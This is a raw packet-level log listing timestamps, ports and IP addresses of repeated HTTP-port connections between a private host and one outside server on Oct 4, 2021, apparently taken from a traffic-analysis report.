Oct 4, 2021 16:01:25.728307009 CEST	49783	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.728524923 CEST	49783	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.728651047 CEST	49783	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:25.846123934 CEST	80	49783	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:25.885701895 CEST	80	49783	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.011261940 CEST	49784	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.171396017 CEST	80	49784	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.171613932 CEST	49784	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.171857119 CEST	49784	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.171878099 CEST	49784	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.201457977 CEST	80	49783	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.202095985 CEST	80	49783	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.202265978 CEST	49783	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.330962896 CEST	80	49784	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.370595932 CEST	80	49784	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.440252066 CEST	49787	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.599581957 CEST	80	49787	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.599843979 CEST	49787	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.600115061 CEST	49787	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.600178003 CEST	49787	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.668869972 CEST	80	49784	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.672583103 CEST	80	49784	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.673468113 CEST	49784	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:26.759943962 CEST	80	49787	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:26.799362898 CEST	80	49787	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.086170912 CEST	80	49787	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.086184978 CEST	80	49787	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.086286068 CEST	49787	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.089788914 CEST	49788	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.249181986 CEST	80	49788	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.249623060 CEST	49788	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.249859095 CEST	49788	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.249946117 CEST	49788	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.398655891 CEST	49789	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.412506104 CEST	80	49788	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.450071096 CEST	80	49788	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.559657097 CEST	80	49789	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.559832096 CEST	49789	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.560178041 CEST	49789	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.560264111 CEST	49789	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.719541073 CEST	80	49789	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.741322041 CEST	80	49788	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.741664886 CEST	80	49788	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:27.741735935 CEST	49788	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:27.760399103 CEST	80	49789	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.081546068 CEST	80	49789	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.081568003 CEST	80	49789	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.081686020 CEST	49789	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.183182955 CEST	49790	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.315542936 CEST	49791	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.343317032 CEST	80	49790	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.343770981 CEST	49790	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.343796968 CEST	49790	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.345249891 CEST	49790	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.440551043 CEST	80	49791	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.442917109 CEST	49791	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.443301916 CEST	49791	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.443393946 CEST	49791	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.509202003 CEST	80	49790	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.546289921 CEST	80	49790	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.565268040 CEST	80	49791	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.615576982 CEST	80	49791	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.826030970 CEST	80	49790	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.826050997 CEST	80	49790	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.826303005 CEST	49790	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:28.897032976 CEST	80	49791	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.897118092 CEST	80	49791	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:28.897269964 CEST	49791	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.141324043 CEST	49792	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.163722992 CEST	49793	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.256161928 CEST	80	49792	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.256361008 CEST	49792	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.256607056 CEST	49792	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.256741047 CEST	49792	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.320158005 CEST	80	49793	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.320319891 CEST	49793	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.320494890 CEST	49793	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.320565939 CEST	49793	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.371290922 CEST	80	49792	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.410676003 CEST	80	49792	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.476504087 CEST	80	49793	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.516422987 CEST	80	49793	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.700381041 CEST	80	49792	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.700566053 CEST	80	49792	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.700686932 CEST	49792	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.850939035 CEST	80	49793	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.851159096 CEST	80	49793	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:29.851262093 CEST	49793	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:29.969299078 CEST	49794	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.091319084 CEST	80	49794	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.091644049 CEST	49794	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.092076063 CEST	49794	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.092104912 CEST	49794	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.208184958 CEST	49795	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.211345911 CEST	80	49794	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.251008987 CEST	80	49794	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.365541935 CEST	80	49795	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.365694046 CEST	49795	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.366008043 CEST	49795	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.366090059 CEST	49795	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.522393942 CEST	80	49795	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.563909054 CEST	80	49795	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.570600986 CEST	80	49794	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.570894003 CEST	80	49794	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.570991039 CEST	49794	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:30.851517916 CEST	80	49795	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.851572990 CEST	80	49795	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:30.851717949 CEST	49795	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.213339090 CEST	49796	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.339931011 CEST	49797	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.370331049 CEST	80	49796	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:31.370548964 CEST	49796	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.370799065 CEST	49796	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.370868921 CEST	49796	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.496396065 CEST	80	49797	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:31.496530056 CEST	49797	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.496727943 CEST	49797	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.496788979 CEST	49797	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:31.527749062 CEST	80	49796	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:31.567389965 CEST	80	49796	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:31.653512955 CEST	80	49797	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:31.692698002 CEST	80	49797	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.083702087 CEST	80	49797	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.083723068 CEST	80	49797	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.083900928 CEST	49797	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.099288940 CEST	80	49796	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.099328995 CEST	80	49796	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.099446058 CEST	49796	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.484766006 CEST	49798	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.599564075 CEST	49799	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.646245003 CEST	80	49798	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.646626949 CEST	49798	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.646828890 CEST	49798	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.646879911 CEST	49798	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.757183075 CEST	80	49799	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.757503033 CEST	49799	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.757714987 CEST	49799	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.757807970 CEST	49799	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:32.866806030 CEST	80	49798	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.867424965 CEST	80	49798	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.913778067 CEST	80	49799	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:32.953610897 CEST	80	49799	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.171525955 CEST	80	49798	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.171549082 CEST	80	49798	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.171750069 CEST	49798	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.267220020 CEST	80	49799	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.267299891 CEST	80	49799	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.267496109 CEST	49799	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.400114059 CEST	49800	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.518732071 CEST	80	49800	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.518914938 CEST	49800	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.519150972 CEST	49800	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.519212008 CEST	49800	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.607038975 CEST	49801	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.634589911 CEST	80	49800	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.675678968 CEST	80	49800	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.723329067 CEST	80	49801	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.723558903 CEST	49801	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.723792076 CEST	49801	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.723861933 CEST	49801	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:33.838934898 CEST	80	49801	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.878796101 CEST	80	49801	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.987909079 CEST	80	49800	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.988614082 CEST	80	49800	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:33.988739014 CEST	49800	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.205631018 CEST	80	49801	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.205851078 CEST	80	49801	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.205954075 CEST	49801	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.314974070 CEST	49802	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.471293926 CEST	80	49802	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.471405983 CEST	49802	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.471623898 CEST	49802	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.471790075 CEST	49802	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.500787020 CEST	49803	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.628596067 CEST	80	49802	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.657965899 CEST	80	49803	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.658145905 CEST	49803	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.658296108 CEST	49803	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.658354998 CEST	49803	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:34.667244911 CEST	80	49802	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.814517021 CEST	80	49803	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.857989073 CEST	80	49803	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.984869957 CEST	80	49802	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.993582010 CEST	80	49802	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:34.995605946 CEST	49802	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.138315916 CEST	80	49803	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.138354063 CEST	80	49803	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.138434887 CEST	49803	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.242466927 CEST	49804	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.399152040 CEST	80	49804	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.399270058 CEST	49804	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.399739981 CEST	49804	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.400000095 CEST	49804	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.539459944 CEST	49805	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.557780027 CEST	80	49804	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.596873999 CEST	80	49804	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.698868036 CEST	80	49805	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.699033022 CEST	49805	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.699218988 CEST	49805	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.699284077 CEST	49805	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.858577967 CEST	80	49805	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.892086983 CEST	80	49804	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.892520905 CEST	80	49804	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:35.892608881 CEST	49804	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:35.910835981 CEST	80	49805	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.103954077 CEST	49806	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.186469078 CEST	80	49805	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.186491013 CEST	80	49805	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.186563969 CEST	49805	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.222465992 CEST	80	49806	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.222616911 CEST	49806	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.222759008 CEST	49806	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.222811937 CEST	49806	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.340567112 CEST	80	49806	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.380564928 CEST	80	49806	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.425339937 CEST	49807	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.582086086 CEST	80	49807	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.582866907 CEST	49807	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.583089113 CEST	49807	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.583106995 CEST	49807	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.666610003 CEST	80	49806	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.666656017 CEST	80	49806	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.666834116 CEST	49806	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:36.739870071 CEST	80	49807	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.779321909 CEST	80	49807	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:36.917845964 CEST	49808	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.075926065 CEST	80	49807	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.075962067 CEST	80	49808	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.075978041 CEST	80	49807	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.076123953 CEST	49807	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.076427937 CEST	49808	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.076452971 CEST	49808	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.076550007 CEST	49808	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.232537985 CEST	80	49808	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.272717953 CEST	80	49808	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.399404049 CEST	49809	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.517242908 CEST	80	49809	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.517404079 CEST	49809	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.517568111 CEST	49809	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.517615080 CEST	49809	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.559592962 CEST	80	49808	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.559633017 CEST	80	49808	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.559803009 CEST	49808	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.635278940 CEST	80	49809	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.678015947 CEST	80	49809	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.781806946 CEST	49810	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.943975925 CEST	80	49810	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.944250107 CEST	49810	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.944353104 CEST	49810	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.944413900 CEST	49810	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:37.981707096 CEST	80	49809	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.981730938 CEST	80	49809	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:37.981904030 CEST	49809	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.104566097 CEST	80	49810	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.143323898 CEST	80	49810	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.260679007 CEST	49811	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.417984009 CEST	80	49811	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.418267965 CEST	49811	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.418565035 CEST	49811	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.418622017 CEST	49811	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.446456909 CEST	80	49810	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.446472883 CEST	80	49810	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.446691990 CEST	49810	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.574862003 CEST	80	49811	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.614870071 CEST	80	49811	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.713195086 CEST	49812	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.830060959 CEST	80	49812	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.830188036 CEST	49812	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.831331968 CEST	49812	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.833231926 CEST	49812	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.905348063 CEST	80	49811	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.905996084 CEST	80	49811	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.906114101 CEST	49811	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:38.946121931 CEST	80	49812	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:38.990034103 CEST	80	49812	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.260385990 CEST	49813	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.278094053 CEST	80	49812	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.278115988 CEST	80	49812	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.278209925 CEST	49812	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.378031015 CEST	80	49813	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.378240108 CEST	49813	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.378473997 CEST	49813	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.378634930 CEST	49813	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.496150017 CEST	80	49813	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.502605915 CEST	49814	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.536386967 CEST	80	49813	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.662537098 CEST	80	49814	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.662651062 CEST	49814	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.662822962 CEST	49814	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.662844896 CEST	49814	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.822232962 CEST	80	49814	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.830125093 CEST	80	49813	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.830151081 CEST	80	49813	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:39.830290079 CEST	49813	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:39.861500025 CEST	80	49814	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.135102034 CEST	49815	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.227289915 CEST	80	49814	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.227313042 CEST	80	49814	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.227555037 CEST	49814	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.294378996 CEST	80	49815	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.296278000 CEST	49815	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.296449900 CEST	49815	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.296498060 CEST	49815	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.456959009 CEST	80	49815	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.500298023 CEST	80	49815	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.511135101 CEST	49816	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.669827938 CEST	80	49816	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.670135021 CEST	49816	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.670412064 CEST	49816	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.670567989 CEST	49816	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.780448914 CEST	80	49815	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.782216072 CEST	80	49815	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.782454967 CEST	49815	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:40.828480959 CEST	80	49816	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:40.866364956 CEST	80	49816	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.010803938 CEST	49817	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.151341915 CEST	80	49816	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.151420116 CEST	80	49816	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.151810884 CEST	49816	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.170044899 CEST	80	49817	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.170453072 CEST	49817	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.171173096 CEST	49817	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.171201944 CEST	49817	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.332375050 CEST	80	49817	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.366781950 CEST	49818	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.369306087 CEST	80	49817	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.524342060 CEST	80	49818	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.525135040 CEST	49818	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.525158882 CEST	49818	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.525163889 CEST	49818	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:41.647190094 CEST	80	49817	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.648653030 CEST	80	49817	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:41.648888111 CEST	49817	80	192.168.2.3	198.38.82.168
